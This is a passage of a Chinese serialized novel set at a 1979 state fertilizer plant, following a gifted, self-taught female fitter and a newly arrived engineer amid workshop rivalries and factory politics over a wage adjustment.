《八十年代新一辈》 1. 第 1 章 《八十年代新一辈》全本免费阅读 临近五点钟,不知道谁喊了一句“快下班了”,维修车间里的氛围立时更加放松,工人们纷纷加快手中的动作,开始给一天的工作收尾,而后,三三两两地聚在一起,你一句我一句地聊天。 谈论着晚上食堂有什么菜,相约着晚上去灯光球场看人打球,互相问着还有没有电影票,想去看《瞧这一家子》…… 等到下班铃声一响,便互相招呼着,相伴走出去,成家了的回家属院,没成家的拿着饭盆奔着食堂而去。 不多一会儿,偌大的维修车间就只剩下颜丹霞一个。她没有参与大家伙的讨论,也没有要走的意思,依旧专注地研究着手中的图纸。 她穿着洗得泛白的蓝色工服,里面穿着的白底儿黑点衬衫的领子伸出来,翻在工服的衣领上,因着身材高且瘦,工服显得格外肥大。乌油油的长头发梳成两只麻花辫,用素色手绢绑在身后,没有留刘海,露出光洁、饱满的额头。 她肤色偏白,鹅蛋脸,眼睛不大不小,两只双眼皮长得几乎一模一样,和挺翘小巧的鼻头,不大不小、不薄不厚的嘴唇搭配在一起,格外相宜。只是眉毛没有经过修饰,略有些杂乱,让人一眼看去,会首先想着,哦,这真是一个挺漂亮的姑娘,要是眉毛再修一修,就更加完美了。 但显然,颜丹霞本人并没有分出心思去多关注自己的外貌,这会儿她手里头拿着自己绘制的,压缩机上排气阀部位的零件。 之前这个零件因着磨损严重造成了机器故障,颜丹霞结合着排气阀的尺寸,做了一个新的出来,据合成氨车间工人们的反馈,比原来的零件还要好用。她便想着多做出几个出来,之后陆续将所有的零件都替换下来。 她是海州厂维修车间的维修钳工,算是野路子出身,除了父亲帮她打下的基础外,基本上全靠自己自学,在看图纸、绘图方面是个弱项,所以,她一直在学习。可惜,能够参考的书籍几乎没有,海州市新华书店没有,厂里的图书馆也找不到。 不过,自去年末召开了十一届三中全会后,整个社会在思想上,对待文化、书籍的态度上已经有了巨大的改变,颜丹霞想,将来肯定是能有的吧。 她又研究了一会儿图纸,看了看手表,已经五点四十分了,怕食堂没饭了,这才从自己的抽屉里拿出两张饭票,又从下面的柜子里找出个通体草绿色,带着把手和盖子的饭盆,又走遍整个车间,检查了门窗、线路等,这才走出来。 刚将车间的门锁好,总务处的马良骑着三轮车从食堂方向过来,他左手扶着车把,右手端着还在滴水的饭盆,显然是刚刚吃完饭。 一看见颜丹霞便露出笑脸来,“颜师傅,才下班啊,赶紧去食堂吃饭去,今天有红烧肉,可香了,我看着好多住家属院的也过来打,你得快点,不然就吃不上了。” 颜丹霞笑着对他点点头,说:“这就去。” 马良笑呵呵,说:“颜师傅,下次你要是赶不及去吃饭,就言语一声,我帮你打回来!” 颜丹霞道了声谢,马良这才骑着三轮车走了。 马良之所以对她这么热情,不为别的,只因为需要求助颜丹霞的事情多,就比如他骑着的那辆三轮车,就是求着颜丹霞帮做的。 马良是车间的总务,管着合成氨车间一部分人,还有维修车间,一共百十来号人,这些人的劳保、福利都归他发放,从去厂里的总务处领取,再到发放到工人手里头,都是他一个人的事儿,每次一到发劳保、福利的时候就得到处去借小推车,求人办事的滋味难受得很。 后来,他就看见了颜丹霞自己组装的自行车,突发奇想,想让颜丹霞帮着用自行车改装一个三轮车,颜丹霞稍微想了想,便答应了。 马良七凑八凑的,凑齐了原料,颜丹霞手快得很,用了一个晚上的时间,便将三轮车给他弄好了,什么组装、拼接、电焊啊,她一个人就干了。 骑到现在,一年多的时间了,一点毛病都没有,比买的三轮车还好骑,他简直就是爱不释手,对颜丹霞的本事,自然也是佩服得五体投地。 就说维修车间这些个工人,什么车工、铣工,焊工,通通都不如颜丹霞这个钳工,那真是全能全才。但也不是所有的钳工都跟她这么厉害,就比如全厂唯一的六级钳工康明强就不行,因着只有六级以上钳工才有带徒弟的资格,马良怀疑厂里就是矬子里头拔将军,就是为了有人能带徒弟,才把他给提成六级的。 照他来说,康明强那水平照颜丹霞差远了,也就仗着自个比人家老,算是建厂的元老,工龄比人家厂。 康明强今年得有五十多了吧?颜丹霞才多大,他回想了下看过的入厂资料,是1954年生人, 2. 第 2 章 《八十年代新一辈》全本免费阅读 在食堂里打了饭菜,难免碰到几个认识的女工友,跟人家点头笑一下就算是打了招呼,也没去凑一桌,而是去了安静的位置。快速吃完,又在食堂门口的一排水龙头下面将饭盆刷好,就准备回去宿舍了。 不远处的灯光球场里,传来“啪啪”的篮球落地声,还有参差不齐地鼓掌声、欢笑声。那里有两个篮球场,每天晚上都有人打篮球。 海州化肥厂,小二千的干部、工人,男性占了大多数,热爱打篮球的男同志不少,光是正规的篮球队,就组建了四五支,还有些临时拼凑在一起的,经常因为抢夺篮球场发生些争执,甚至大打出手。 颜丹霞每天时间都很紧张,对篮球也不感兴趣,这些都是听舍友的刘艳娟说的。她是厂总务处的干事,因着工作原因,认识的人比较多,平时交友广阔,经常会跟着小姐妹去参加各种厂工会组织的,或者工人们自发举办的活动。她也很喜欢说话,几乎每天晚上,都要和颜丹霞讲讲这一天里厂里发生的大事小情。 刘艳娟乐意讲,颜丹霞也挺乐意听的,她和其他部门职工们接触得比较少,在维修车间里也很少聊天,在厂里关系好的,也就是屈指可数的几个,对于厂里的信息,大多数都是来自于刘艳娟。 今天回到宿舍,她就听刘艳娟说了这么一件事儿: “咱们厂里新调来一个人,叫秦今朝,听说是从化工部下来的,还是大学生呢!长得又高又俊又洋气!啧啧,首都来的,那浑身的气质,跟咱们这些小地方的就是不一样!把干部处的薛洋都给比下去了!” 薛洋是厂里头的风云人物,会唱歌、吹口琴,篮球打得好,据说很会扣篮,厂里但凡举办个联欢会,他肯定是主持人之一,刘艳娟经常提到他。 颜丹霞跟薛洋几乎没有接触,薛洋是干部处的,负责厂子里干部身份的职工们,而颜丹霞是工人身份,归劳资处管。 不过,像是薛洋这样的人物,全厂几乎没有不认识他的,颜丹霞也承认他长得浓眉大眼的,确实很俊,能把他比下去的,颜丹霞想象不出这名叫秦今朝的,到底有多好看。 刘艳娟还在兴致勃勃,说:“……他被分配到技术处了,一来就是工程师,咱们厂工程师的工资还有补贴,加起来得有小一百块了,真是又有钱又有貌!也不知道有对象了没,不过他申请的是单身宿舍,不是家属院的房子,应该是还没结婚的,对,肯定没结婚,57年生人,今年才22,可能还没到法定结婚年龄呢!” 这么小啊,还是个大学生。 今年是79年,恢复高考后的第一届大学生是78年年初入学的,得82年年初才能毕业,这人是大学生,显然上的是工农兵大学,这种大学生素质良莠不齐,也不知道这人的水平如何,懂不懂机械绘图方面的知识。 他们维修车间跟技术处的来往挺多的,只是海州化肥厂技术处的工程师们都是研究化工的,对机械不算精通,对于工厂这套大化肥设备的了解,应该还不如她。 “呵,这下薛洋可有对手了,看他以后还傲不傲得起来。”刘艳娟撅了撅嘴巴,语气中又带着些与众不同的亲昵。 她是喜欢薛洋的,感觉薛洋也有点喜欢自己,但是呢,就是不肯表白,暗示了几次,也无动于衷。刘艳娟有些着急,不明白薛洋是不喜欢自己,还是不明白自己的心意,她身为一个女孩子,必须是要矜持的,干不出来主动追求男人的事情。 后来,她发现薛洋对待其他漂亮姑娘的态度跟自己一般无二,也是亲近的,关心的,心里头便产生了愤怒,几种感情交织在一起,心里头就对薛洋生出些怨怼来。 秦今朝的信息都是从薛洋那里打听来的,他是干部处的,但凡来厂子报道,是干部身份的,都要到他们办公室办理手续,调职手续、粮食关系、户口本、档案、毕业证……都要查看、留档的。实际上,他知道的信息更多,可惜啊,不肯多透露。 颜丹霞自然不明白刘艳娟这复杂的心思。将近两千人的大厂,有人调职、入职的,也不算是个稀罕事儿,她听完了,便坐在属于自己的桌子边,拉过一个正圆形的铁质饼干盒子来,里面放着一堆被拆散了的小收音机零件,拿过摆在上面的电路图,对照着,一一检查起来。 刘艳娟把新鲜事儿讲完,躺倒在自己的床上,也没脱鞋,两只脚垂在床下,一晃一晃的,不一会儿又爬起来,去床侧属于她的木柜里翻找衣服,发出不大不小,但窸窣频繁的声音。 这些杂音,丝毫没有影响颜丹霞,她专心地摆弄着收音机里面的电路板,对照着线路图,认真地检查着。 她们所住的是个大概十五平米左右的双人宿舍,青砖地面,两张1.2米的单人铁架子床分别靠墙摆放着,左右墙面上各放着一个木质的深黄色书桌,还有同色立柜,旁边放着洗脸盆架子、靠窗的位置放了一张方桌,桌子上面摆放着一只用废旧铁丝做成的小松鼠造型的花瓶,花瓶里面放着一捧明黄色的野菊花,散发着不能称之为香,却沁人心脾的味道。 两张床上,都铺着厂里发的浅粉色带大朵花的床单,浅蓝色棉布被罩,还有跟床单颜色差不多的绒面枕巾,跟其他女生宿舍一样,从地面到床铺,都收拾得整齐、干净。 但却又跟其他寝室不同,多了很多实用又精巧的小物件。比如,墙面上菱形的钢质多功能挂钩,可以同时挂衣服、挎包,甚至是钥匙等等,造型美观;还有两张书桌上各自摆放着的金属多层书架,左边书桌上的是属于颜丹霞的,最下层放置小些的杂物,比如钢笔、墨水、小刀、螺丝等等,上面两层放置书本,而右边的则属于刘艳娟,放了化妆品,发卡,皮筋、头花之类。 这些小物件都出自于颜丹霞之手,是她利用业余时间,用车间的废料改制而成的。 刘艳娟非常喜欢,就比如那件松鼠造型的花瓶,这已经是颜丹霞做的第二件了,第一件一拿回宿舍,刘艳娟就惊艳不已,又是央求,又是买好吃的,又是请吃饭的,将花瓶要来,送去给自己的好朋友作为生日礼物了。 刘艳娟很喜欢颜丹霞这个室友,从来都是安安静静的,不吵闹别人,自己吵了闹了,她也没有意见,都能专心干自己的事儿,还不小心眼,还能听自己说是非,且能制作各种实用的小东西,感觉 3. 第 3 章 《八十年代新一辈》全本免费阅读 工人们消息的速度一向比在办公楼里上班的干部们滞后一些,但架不住传播得快。 第二天上班后,颜丹霞便听见同车间的工友们也在讨论秦今朝。 “……要我说,这人指定是犯了错儿,被贬下来的。咱就用小指头想,搁你,你愿意好好的部里干部不当,从首都跑到咱这乡下地方来吗?除非是发烧发傻了,你们说是不是?” 有几个人同意他的观点,纷纷点头,觉得他分析得有道理。 颜丹霞名义上的师父,厂里唯一的六级钳工康明强却不同意他的观念,他眼皮微抬,乜斜着看向表示同意的众人,拿起大茶缸子喝了口浓茶,而后慢条斯理地说: “你们啊,还是太年轻了,想事情想得太简单!”他吹了口茶叶沫子,见大家伙将目光转移过来,眼巴巴地等着他回答,才接着说:“在化工部能做成大领导的,哪个没有到下面工厂历练的经历?这可是我以前听老书记说的。” 康明强海州化肥厂的前身,海县化肥厂的职工,今年五十多岁,在化肥厂干了一辈子,在钳工的岗位上干了一辈子,生在民国时期,到了新中国成立后,成了工人,如今又成了厂里唯一的可以带徒弟的六级钳工,不管技术如何,起码经历丰富。 据他自己说,以前还是海县化肥厂的时候,他和厂里上一任书记兼厂长刘利民是肩并肩的战友,言必称老书记。 老书记刘利民是海州厂的功勋人物,是他努力争取,多方奔走,才让大化肥项目落地海州市,才让海县化肥厂这个一个百来人的小化肥厂有机会引进来自美国的大化肥设备,成为新中国十三套大化肥项目之一,让他们这些工人们成为人人羡慕的大厂职工。 所以,康明强提到了老书记,说服力自然就更强了。 “你的意思就是说这人是顶着星星,下来历练的。”有人就顺着康明强的意思理解道。 顶着星星是海州市的土话,意思就是背景强大,上面有人罩着他。 康明强见那人是原海县化肥厂的二代职工,就点点头,对他露出个赞许的笑容,说:“那可不,人家啊,是拿咱们这里当跳板呢!” “那也得是咱们大化厂名气大,人家才能跑来这里,那也是给自己镀金呢!” …… 他们的谈话没有收敛声音,颜丹霞自然是听到了,也没有什么赞同不赞同的。 车间里除了她之外,都是男性,男性聊天的话题,很多时候荤素不忌,也经常会忘了她是个女性。颜丹霞从来不参与他们的话题,好的就听一听,不好的就假装没听见。 这里是维修车间,工作氛围本来就更活泼一些,且谁说男人们不爱说些家长里短的?颜丹霞觉得,他们一点都不比那些三姑六婆差。 厂区里的,家属院里的很多新鲜事、让人目瞪口呆的事儿,都是从他们嘴巴里头传出来的。 从室友刘艳娟那里听到的,加上从车间工友们这里听到的,使得颜丹霞虽然大多数时间都在埋头干自己的事情,但是对于厂里的大事小情颇为知道一些。 两者消息来源不一样,一个是由上而下的,一个是由下而上的,拼拼凑凑的,组成了一副大厂生活的画卷。 海州化肥厂,化学工业部直属单位,工厂们最爱叫她海州大化厂,是大化肥厂的简称,用于和普通化肥厂进行区别,告诉大家,我们不一样。 大化肥厂、中化肥厂、小化肥厂,是以产量、规模来区分的。像是之前的海县化肥厂,就是个小化肥厂。 从这里,也能看出大化厂工人们的优越感,是啊,作为全国十三分之一,作为北方化肥产量最大的企业,他们也有优越的资本。 这里有将近两千名员工,是个封闭的小社会,有自己的学校、医院、电影院、饮食店……对于大化厂的子弟来说,他们在职工医院出生,之后在职工子弟学校上学,毕业之后回到厂里上班,然后和同事结婚,退休,在职工医院死去。 终身在都厂区和生活区之前来回往复。 因着工人们有工资,又因着是国家重点企业,衣食住行方面的配比供应都更丰富,使得工人们的优越感、自豪感更强。 但这种优越、自豪感太强,变成了固步自封。 就比如刚刚那人说来自家厂子历练是给秦今朝贴金的言语,引起了好几个人的真心赞同。 那名原海县化肥厂的二代员工脸色有些涨红,单手把工服上衣左边口袋的扣子解开,从里面掏出一盒少了三四颗的大前门来,抽出其中一颗,递给康海强,又从工服裤子口袋里掏出一盒“白头”牌火柴,迅速划着,一手护着火,举上前,将烟点燃了。 康海强无视着车间墙面张贴着的禁止吸烟的标牌,施施然地微微凑近,深吸一口,而后享受地微眯双眼,将口中的烟气缓缓吐出。 他往颜丹霞的方向瞄了一眼,而后嘴边露出一丝不屑的轻笑。 一个二十多岁的小女娃子,夸她两句技术好就不知道天高地厚了,连长幼尊卑都不知道,老子吃过的盐比你吃过的米都多,瞧瞧,老子身边围了这么多人,就你单蹦一个,不合群! 颜丹霞没理会康明强的目光,更不在意他在心里怎么想自己,她已经把今天上午的工作任务完成了。这会儿,她把饼干盒子拿出来,准备借用下焊工王利民的工具,将收音机小小的元器件给焊上。 这时候,合成氨车间生产一组组长高立国匆匆小跑着进来,穿过车床、铣床、钻床、刨床,还有地面堆放着的机器、零件、钢材,直奔着颜丹霞这边而来。 高立国跑过来,正准备开口说话,就看见了人群簇拥中,正在抽烟的康明强,他立时住嘴,朝着对方笑了下,说了句:“康师傅啊,闲着呢。”而后,也不用等回答,继续往前方的主任办公室走去。 不多一会儿,又跟在维修车间主任林玉峰身后走出来。 林玉峰的目光在众人面前扫了一眼,而后抽抽鼻子,皱皱眉,目光落在康明强脸上。 康明强在主任走出来的那一刻,已经将烟熄灭了,这会儿站在车床边上,摆弄着工具,一脸认真地朝着主任方向看着,好似在等待指使一般。 林玉峰目光从康明强身上扫过去,停在颜丹霞身上,说:“小颜,高组长说10号机组的压缩机声音不太对劲儿,你去给看看去。” 颜丹霞应了一声,拿起自己的工具包便准备往外走。 高立国跟林玉峰道了声“感谢”,经过康明强的时候,脸上带着真诚的笑容,又朝他点点头,这才又匆匆小跑着出去了。 两人前后脚走出维修车间,高立国也缓口气,擦擦自己额头上不知道什么时候冒出来的汗,朝着颜丹霞笑了下,说:“辛苦你了,颜师傅。本来想直接找你的,可是又怕康师傅有意见,所以就去找了林主任。你知道的,我们生产一线的就是最没地位的,你们管维修的都是爷,我们一个也惹不起。” 他说完,又唯恐颜丹霞误会,接着解释:“颜师傅,我可不是说你,每次找你你都马上放下手头的事儿来帮我们,可有些人……” 颜丹霞明白他指的有些人是康明强。 因着颜丹霞技术更好,跟生产部门的配合度也更高,机器出了问题,都愿意来找她,康明强就对颜丹霞有了意见。 按照他的想法,他是六级钳工,又是颜丹霞名义上的师傅,即便是这个徒弟只当了一年学徒工就转正,可到底也还是徒弟,哪儿越过自己这个资格老的师父,直接找徒弟的道理,这不是打他的脸吗? 康明强对颜丹霞有意见,对合成氨车间和尿素合成车间等生产部门 4. 第 4 章 《八十年代新一辈》全本免费阅读 一个月后,颜丹霞在维修车间见到了被工友们挂在嘴边一个月的秦今朝, 秦今朝在各个车间学习,维修车间是他的最后一站。但颜丹霞这个名字,却是在刚到工厂不久就听说了。 那会儿,他准备配一把办公室的钥匙,便向帮他办理入职手续的薛洋询问在哪里能配到钥匙。 薛洋回答说,厂里没有配钥匙的,需得坐公交车到市里去。他说完,就笑了下,说:“不过,你可以请维修车间的钳工颜丹霞,颜师傅帮忙,我听人说,她有个特异功能,就是徒手配钥匙,不管什么钥匙,她只要拿过去看一眼,就凭着一把锉刀,一根钢条,就能帮你配出来,比原装钥匙还好用。” 秦今朝立时感兴趣,便追问起来,从薛洋那里知道了很多颜丹霞的信息。 比如,她是个女的,而且是二十五六岁的年轻姑娘,没有系统学习过钳工技术,但有天分,又肯钻研,是全厂公认的,水平最高的钳工,就没有她不会修的,她那眼睛,就跟尺子似的,不管是圆的、方的、长条的,打眼一扫就知道长宽高是多少,一点误差都不带有的。 秦今朝听到的奇人异事不少,很相信天赋这一说。他自然没有去找颜丹霞配钥匙,不过这个名字,她的这份本事却是记在了心里头。 等一个月后,亲眼见到颜丹霞,只觉跟自己想象中的不一样。 这时候的她,正戴着口罩,弯腰用砂轮机打磨一个零件。 维修车间主任林玉峰亲自带着秦今朝参观维修车间,介绍每一种设备的名称和用途,介绍每一名工人的工种、姓名。 林玉峰之所以如此重视秦今朝,倒不是因着他是“顶着星星下来”的传言,而是因为秦今朝是被副总工苏淮亲自带过来的,虽然只是聊聊数语,让维修车间配合着秦今朝的实习,但却表明了厂总工办领导们的态度,就是非常重视秦今朝,这也从侧面说明了康明强他们的猜测十有八九是真的。 总之,照顾好秦今朝,对他没坏处。 “小颜,颜师傅,停一下。” 林玉峰站在颜丹霞身后不远处喊着,然后为秦今朝介绍:“这是钳工组的颜丹霞,论专业那是没得说!” 颜丹霞随即停住手中的动作,直起身子来,正好对上一张英俊的脸庞,身穿着崭新的深蓝色工服,嘴边挂着一丝笑容,气质沉稳,浑然不似二十出头的年轻人。 “这是咱们厂新来的工程师,秦今朝。” “你好”,颜丹霞不甚整齐的眉毛上沾了些许金属碎屑,她摘下口罩的同时,用手背擦了下,而后伸出手来,跟秦今朝握了下手。 秦今朝之前只是对颜丹霞好些好奇,并没有想象这个人是什么样子的,但见了面之后,却觉得她和自己预想的不一样,更加的文弱、漂亮,声音也轻轻柔柔的,很好听,和风细雨一般。 大概这就是偏见了,一听说颜丹霞是一线工人,自然而然就觉人家是五大三粗的,这样不好,需得改正! 这样想着,秦今朝对于颜丹霞的态度又好了几分,微微欠身,轻握颜丹霞的手,而后迅速分开。 林玉峰乐呵呵地说:“你们都是年轻人,以后可以多多交流。对了,小颜,你不是想学习机械绘图吗?秦工在大学主修化工专业,辅修机械工程,他可是高材生!” 秦今朝便见到颜丹霞明亮的双眼愈加明亮了几分,双眼同时眨了下,脸上浮现出真心的笑意来,说:“那以后,少不得要请教秦工了。” 其实,今天不是颜丹霞第一次见到秦今朝。他陌生又醒目,再联想到刘艳娟的形容,很容易就知道他是谁,她不止一次见过,在食堂、图书馆都见过他的身影,还知道他也会打篮球,不过不经常去,偶尔去一次,灯光球场就会围起里三层外三层的人。 颜丹霞承认,刘艳娟对他的形容并没有夸张,确实很俊,很有些说不出来的气质。 秦今朝被这样纯净的双眼,这样干净的笑容晃了下眼,连忙点头说:“你客气,如果有什么想问的,尽管来找我。” 机械工程虽然是辅修的专业,但成绩佼佼,名列前茅,不逊于他的本专业。他很自信,便也没有谦虚。他有持续的学习习惯,喜欢和欣赏爱学习,爱钻研的人,愿意在力所能及的范围内,给他们帮助。 这两人这就算是认识了,但在接下来两天的实习工作中,接触得并不多。颜丹霞是女同志,又不太爱说话,林立峰安排了车间另外一名年轻的,爱说话的人来做秦今朝的向导。 他叫陆红兵,是个车工,一开始跟秦今朝接触的时候,还有些小心翼翼的,但陪伴了他一天后,发现这人很好相处,平易近人,没有架子,虽然是首都部里来的大学生吧,但说话一点都不文绉绉,通俗易懂,还会跟他们开玩笑,下班后,还请他在食堂吃了小炒,说是感谢他这一天的帮助。 喝着玻璃瓶里的海州冷饮厂出品的橘子汽水,顿觉秦今朝是个可交往的好哥们。 秦今朝迅速了解了各个车间的日常工作、机器运转流程,和车间工人们相熟起来,一个多月后,结束实习工作,再回到技术办时,对于海州大化厂有了重新的认识。 时间已经过渡到10月,天气开始转凉,早晚温差愈大。 海州跟燕市也就二百多公里的距离,气候差异不大,他在燕市生活了二十多年,自然也没什么不习惯的。 从今天开始,秦今朝不再去车间实习,也就不再穿工作服,换了件雪花呢的半长款大衣,里面只穿一件的确良白衬衫,下身配藏蓝色西装裤,新打了鞋油的黑色牛皮鞋。在墙面上,绘着红色牡丹花的黄框镜子前照了照,理了理比板寸略长些的头发,觉得没什么不妥当的,这才抓起柜子上放着的钥匙串,拿起夹着钢笔的深红色塑料皮笔记本,走出宿舍。 他住的是男生宿舍楼,位于生活区内,总共四层,跟结构、楼层一样的女生宿舍,隔着大片家属院遥遥相对的。生活区和工厂区相隔一条马路,走路三五分钟便能到工厂区的大门。 正在锁门的时候,隔壁的门打开,同在技术处的同事邹新军和厂办联络员潘华从里面走出来,对着他热情地笑了笑,说:“正好,我也去上班,咱们一块走。” 秦今朝自然没有不同意的,迅速将门锁锁好,三人一起往出走,说说笑笑的。都是年纪差不多的年轻人,很容易打成一片。 他们的寝室在三楼,一楼和二楼是4人寝室,三楼和四楼是二人寝。虽然没有明文规定,但厂里约定俗成的,工人住一二楼,干部住三四楼,在实际的宿舍管理上,也是两个部门共同管理,一二层归劳资处管,三四楼归干部处管。 秦今朝被分配的这间寝室之前是空置的,目前只有他一个人住,潘华对秦今朝一个人独占一间寝室颇为羡慕,半开玩笑地说:“你真幸运,正好赶上有空寝室,自己一个人住多舒服,不用闻臭脚丫子味。” 邹新军立时装出不高兴的表情来,说:“你什么意思,嫌弃我脚臭是吧?我天天晚上都打水洗脚,你可别在新同事面前污蔑我!” 潘华白他一眼,“你自己啥样你不知道,我又没有鼻炎。” 两人便你一嘴我一嘴地呛呛起来。 秦今朝饶有兴致地听着,邹新军是本地人,说的是带着海州口音的普通话,潘华老家在赵北省山塘市,中专毕业后,被分配过来的,说的是山塘口音的普通话。海州口音音调发硬,山塘市口音一波三折的,两人吵得极了,便都说起家乡话来,听着还挺有意思的。 不过,两人吵归吵,但都没有生气,就是吵着玩,当成日常朋友相处的一种乐趣。 过马路,进了厂区门口,直行五百多米的正前方,便是办公楼了,厂办、技术办等职能部门都设置在这里,共有三层,办公楼前面的小广场上,树立着铁质刷了清漆的旗杆,一杆红旗迎 5. 第 5 章 《八十年代新一辈》全本免费阅读 到了办公室,跟先来的同事们道了“早”,被问及下车间的情况,秦今朝笑着说:“还好。” 便有年纪稍大些的同事以过来人的身份告诫他:“车间那帮子工人啊,难搞得很,对咱们工程师有偏见,觉得咱们是坐办公室的,就会瞎指挥,没事啊,还是少跟他们接触为好。” 秦今朝笑了笑,说了声:“谢谢指导”,并没有把他的话放在心上。 他跟不少工人都接触过,不排除有他说的那种人,看见他就想出言讽刺两句,但这毕竟是少数,也未必真就出于恶意,也可能只是嘴贱而已,绝大多数人对他是有起码尊重的。 这种人,这种事,哪个单位都有,都在意料之中的。 正准备提上办公室的铁皮暖壶去开水房接水,却发现办公室里的两个暖壶都是满的,拿起暖壶塞子,一股热气涌出来。 自来办公室都有惯例,就是新人做打水、扫地的活计,秦今朝这阵子一大早就去了车间,偶尔回办公室一次,便没机会做这些工作,但既然重新回到办公室上班,便也决定遵守惯例。 谁知道,已经有人先给打好了。不光水打好了,水磨石的地面也扫过、拖得干干净净,甚至办公桌也被擦过了,自己那张办公桌上厚厚的玻璃板上还留有水渍。 这会儿,有人攥着个洗投干净的抹布进来了,一看见秦今朝就笑呵呵的,正是跟他面对面办公的助理工程师张海洋。 这是个三十二三岁的男人,相貌、身材都是寻常,戴着个瓶子底儿一般的眼镜。 “张工,卫生是你打扫的?”秦今朝也朝着他笑了下,问道。 “是啊,我顺便帮你把桌子也擦干净了,以后就交给我,保证你有干干净净的桌子用!”张海洋将抹布放到桌子边上,摊开,笑着说。 就有人不高兴地说:“老张,以后能不能把抹布弄干净点,桌子上都是水。” 张海洋忙点着头说,“不好意思啊,我下次注意。” 秦今朝目光从那人身上收回,朝着张海洋道谢,说:“明天开始,还是我来吧,打水、打扫卫生都交给我,我是新来的,怎么也该为咱们办公室做些贡献。” “不用,不用的秦工”,张海洋手摇得像扇子,说:“我都干习惯了,每天早上不干点活我手痒痒!” 旁边的一位四十多岁的同事插嘴,“小郭啊,你就别跟他抢活干了,有机会在总工、副总工那里帮着说说好话就行。” 这话听着,话里有话啊,秦今朝只是笑笑,没言语。 他来的时间不长,在办公室停留的时间更短,按理说,不应该知道张海洋只是个助理工程师。平时大家互相称呼的时候,不管是助工还是工程师,都是叫某某工的,不会有人叫你某某助工的,但架不住张海洋自曝其短,自己跟秦今朝说的。 张海洋笑呵呵地朝着那位同事感激地点点头,又朝着秦今朝不停的笑,好似真盼着自己帮着说好话的样子。 三十多岁还是助理工程师,确实有些奇怪,但他一个新来的,哪儿知道内里有没有什么原因,况且,他目前也只是个工程师而已,没有行政职务,实在帮不了他什么。 张海洋还有那位同事,好似都认定了自己能在总工面前说上话似的。 这会儿,秦今朝还不知道,在海州厂里,几乎没有什么秘密,在他报道的第一天,个人信息就被传得到连颜丹霞这个维修车间的都知道了。 有人信誓旦旦地说,他曾经提着大提包去过家属院小洋楼区,并且在那边待到晚上天麻麻黑才出来的事儿。 小洋楼区就是工厂高层们居住的区域,只有书记、厂长、副厂长、总工等才有资格居住,他去那边,肯定是拜访其中的一位去的啊,待了那么久,被留饭了啊,就说跟领导这是一般的交情吗? 他去了小洋楼区的第二天,据说沈总工将他叫到办公室里聊了很久,然后就被安排去车间轮番实习,后来副总工苏淮又亲自带着他下车间,你就说这关系硬不硬吧! 厂子里头本没有让工程师下到车间去实习的先例,在这之前,要说让哪个工程师到车间轮岗实习,准得以后是犯了什么错误,挨罚去的,可因着秦今朝的种种传闻,愣是让人觉得这是优待了。 坐着喝了几口水,翻了翻从宿舍带来的笔记本,这都是这段时间在一线实习的心得、体会还有一些意见想法,零零散散的。 快到九点的时候,对面的刘海洋提醒说:“秦工,要去4楼开会了。” 秦今朝微笑点点头,将笔记本锁在抽屉里,跟着办公室里其他人一起,往四楼去。 四楼除了工会占据了一小部分区域外,都是会议区,分成大中小几个会议室,一般的部门会议,小型会议都可以在这边举行,大型的,或者全厂型的会议都会在距离食堂不远处的工人大礼堂或者叫工人俱乐部举行。 技术处占据了一个中型会议室,开的是每周例会,处长孙辉主持会议,副总工苏淮也到场参加,不过几乎没有发言。 秦今朝坐在最末的位置,认真听着每个人的发言,忽然听到孙处长点到自己的名字。 “小秦啊,你在车间实习一个月了,来跟大家讲讲你的心得。”说完,又一脸欣慰地说:“小秦同志能够主动要求下到一线去实习,说明 6. 第 6 章 《八十年代新一辈》全本免费阅读 11月2号,一纸关于调整职工工资的中央下发文件,在海州大化厂掀起巨大波浪。 这是新中国成立以来,首次大幅度工资调整,文件中提到,国家虽然尚在经济困难时期,但决定给部分贡献较大、工作多年、工资偏低的职工调整工资,升级比例为40%。 在海州厂的实际情况来说,职级差是7元,也就是说,谁得到调整工资的名额,每个月便多了7块钱。 这是中央下发的通知,自然要执行,但具体怎么执行,比如用什么方案,给哪些人调工资,是各个厂子自行决定的,在方案制定的问题上,厂办领导们发生了分歧。厂长的提议在厂长办公会上通过后,又被党委会否定了。 第二天工人们听到的是,厂长提议,这40%的名额向一线工人倾斜,但党委书记不同意。 现在的海州厂实行的是党领导下的厂长负责制。浅显些的意思就是,厂长是一厂之长,但厂长要归党委书记领导。 厂长名叫沙广军,今天四十八岁,是前任厂长兼党委书记刘利民亲自提拔起来的,党委书记梅向党,是刘利民退了之后,上面给安排过来的,原来是吉北市化工厂的党委副书记。 吉市化工是“大庆式”企业中的佼佼者,工厂规模比海州大化厂大了三倍有余,梅向党调过来做正职,算是平调。 按照厂长和党委书记的职责划分来说,厂长负责工厂的实际业务,党务书记负责党组党委建设,两人应该是平行的两条线,互不干涉的,但坏就坏在党委书记有更高一级的领导权。 有些事情,以党委书记为首的党委会上不通过,政策就没法实施。 据秦今朝了解到的,大化厂里的人员构成来说,主要分成两部分。 一小部分是本土派,是以前海县化肥厂的老员工,以及他们的二代子女,这批人以车间工人、领导居多。大化厂的基建工程建设是由陕省化工建设总公司完成的,工程建好后,一些临时工留了下来,成为大化厂第一批员工,这部分人也可以归在本土派里。 另外一部分是建厂之后,陆续从全国各地分配过来的职工,这批人以办公室干部居多,还有一部分是在当地招聘的职工,这两批都可以算在外来派里。 本土派多是拥护厂长沙广军,外来派多是党委书记梅向党的拥趸。换句话说,沙广军在生产车间那里有广泛群众基础,梅向党作为一个外来者,拉拢了众多干部。 秦今朝入职没几天,就已经非常鲜明地感受到了这两种壁垒分明的山头文化,这也是他感到失望的最重要因素之一。 一家企业,最顶层的两名领导意见不和,各有一股势力,互相下绊子,还能有多好的发展? 开了几次会,商谈了无数次,最后厂长和书记终于达成一致,按照比例给各个生产车间小组、各部门下发名额,而后由各个单位内部投票决定。 秦今朝就觉得,这真是等闲平地起波澜! 好好一个政策,本来是造福职工的事儿,又不复杂,愣是给弄得民怨沸腾,谣言四起。今儿个一线职工怨恨书记梅向党高高在上,不体谅基层疾苦,明儿个干部们埋怨厂长沙广军只知道护着自己人,损害他们的利益送人情。 这些议论的声音,把涨工资本身带来的热闹都给盖过了。 不过,既然定下了分配方案,每个车间、科室、部门便都按照厂里下发的文件开始调薪工作。 因着秦今朝是新调来的,不管怎么选,这次涨薪都轮不到他,成了个唯一可以悠然事外的人,却没想到,方案一经下发,他就成了香饽饽。 技术处的,不管熟悉不熟悉的,都想跟他拉拉近乎,想争取他这一票。想请他吃饭的,想要带他去喝酒的,约他去看电影的,找他攀老乡的…… 